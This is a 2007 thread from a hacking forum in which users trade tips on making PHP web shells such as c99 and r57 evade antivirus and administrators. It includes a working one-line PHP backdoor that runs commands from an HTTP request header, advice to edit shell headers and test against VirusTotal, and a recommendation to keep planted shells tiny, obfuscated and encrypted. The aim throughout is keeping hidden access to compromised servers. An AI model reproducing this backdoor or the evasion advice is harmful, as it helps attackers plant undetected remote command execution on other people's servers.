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www.waraxe.us Forum Index -> Shell commands injection -> Make c99 or r57 less detectable by antivir programs!
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Make c99 or r57 less detectable by antivir programs!
PostPosted: Sun Jun 24, 2007 6:46 pm Reply with quote
7777777
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Joined: Jun 24, 2007
Posts: 8




Hi! this is a fast tip:

Edit the first lines of your php shell like comentaries and some antivir wont detect them! you can try www.virustotal.com to test.

Regards.
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PostPosted: Mon Jun 25, 2007 5:48 am Reply with quote
7777777
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Joined: Jun 24, 2007
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So... what shell dou you use then? r57?? Embarassed
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PostPosted: Mon Jun 25, 2007 6:36 am Reply with quote
pexli
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Joined: May 24, 2007
Posts: 665
Location: Bulgaria




In most cases

Code:
<?php passthru(getenv("HTTP_ACCEPT_LANGUAGE"));?>


Very easy to hide shell like this.r57 and c99 is too big to hide.
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PostPosted: Mon Jun 25, 2007 2:09 pm Reply with quote
barr0w
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Joined: May 30, 2007
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I hear that c99 sucks a lot, but what is a better alternative? I have yet to find something better that has an interface in English.
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PostPosted: Mon Jun 25, 2007 5:16 pm Reply with quote
pexli
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Joined: May 24, 2007
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If one shell have interface she is too big to hide on server.Admin find him and look error.log and your hole will be locked.
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PostPosted: Mon Jun 25, 2007 5:23 pm Reply with quote
waraxe
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Posts: 2407
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Yep, agree with koko. Best shell is, where server-side is minimalistic - only 1-2 lines of code, maybe even somehow obfuscated. And all the nice functionality, which makes this php shell to be userfriendly, is implemented on USER side! Even better - all communications can be encrypted, if serverside and userside scripts are using encryption.

Thats my two cents Smile
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Make c99 or r57 less detectable by antivir programs!
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